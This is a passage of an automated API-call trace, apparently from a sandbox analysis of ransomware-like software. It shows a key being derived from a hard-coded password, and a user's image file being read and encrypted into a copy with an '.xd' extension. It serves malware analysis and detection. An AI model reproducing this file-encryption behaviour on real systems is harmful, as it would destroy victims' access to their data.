lpMsg=0x130f164) returned 0 [0061.957] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.957] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0061.957] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.957] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.957] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.957] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.958] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.958] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.958] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.958] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.959] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.959] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.959] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.959] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.959] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.959] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.959] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.959] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.959] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.959] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.959] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0061.959] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0061.959] CryptCreateHash (in: hProv=0x17aaab0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0061.959] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.960] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.960] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.960] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629330, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.960] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0061.960] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.960] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.960] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.960] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.960] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0061.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16218d0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0061.961] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0061.961] CryptHashData (hHash=0x164c630, pbData=0x1629380, dwDataLen=0x3, dwFlags=0x1) returned 1 [0061.961] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.961] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.961] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.961] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.961] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.961] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.961] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.961] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0061.961] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621840, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0061.962] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0061.962] CryptDeriveKey (in: hProv=0x17aaab0, Algid=0x6610, hBaseData=0x164c630, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c870) returned 1 [0061.962] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.962] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.962] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.962] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.962] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.962] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.962] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0061.962] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0061.962] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0061.963] CryptDestroyHash (hHash=0x164c630) returned 1 [0061.963] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.963] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.963] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.963] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.963] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.963] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\85uaxddw.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0061.963] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.963] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0061.963] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.964] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.964] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.964] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7")) returned 0x10 [0061.964] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\85UAXDDW.gif.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\85uaxddw.gif.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0061.965] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.965] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.965] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.965] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.968] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0061.968] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0061.970] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x7a5e, lpOverlapped=0x0) returned 1 [0061.970] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0061.975] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.975] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.976] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.976] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0061.976] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.976] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.976] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0061.976] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.976] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0061.976] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.976] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.976] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.976] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0061.977] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0061.977] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0061.977] CryptGetKeyParam (in: hKey=0x164c870, dwParam=0x7, pbData=0x1629330, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629330*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0061.977] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.977] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.977] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.977] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.977] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.978] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.978] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.978] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.978] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.978] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.978] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.978] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.978] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.978] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.978] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.978] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.978] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.978] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.978] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.978] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.979] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.979] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.979] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.979] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.980] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621630, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.980] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.980] CryptEncrypt (in: hKey=0x164c870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x17a5e, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x17a60) returned 1 [0061.980] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.980] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.980] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.980] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.980] CharLowerBuffW (in: lpsz="byte[96865]", cchLength=0xb | out: lpsz="byte[96865]") returned 0xb [0061.981] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.982] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.982] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.983] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.983] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.983] GetProcAddress (hModule=0x74c60000, 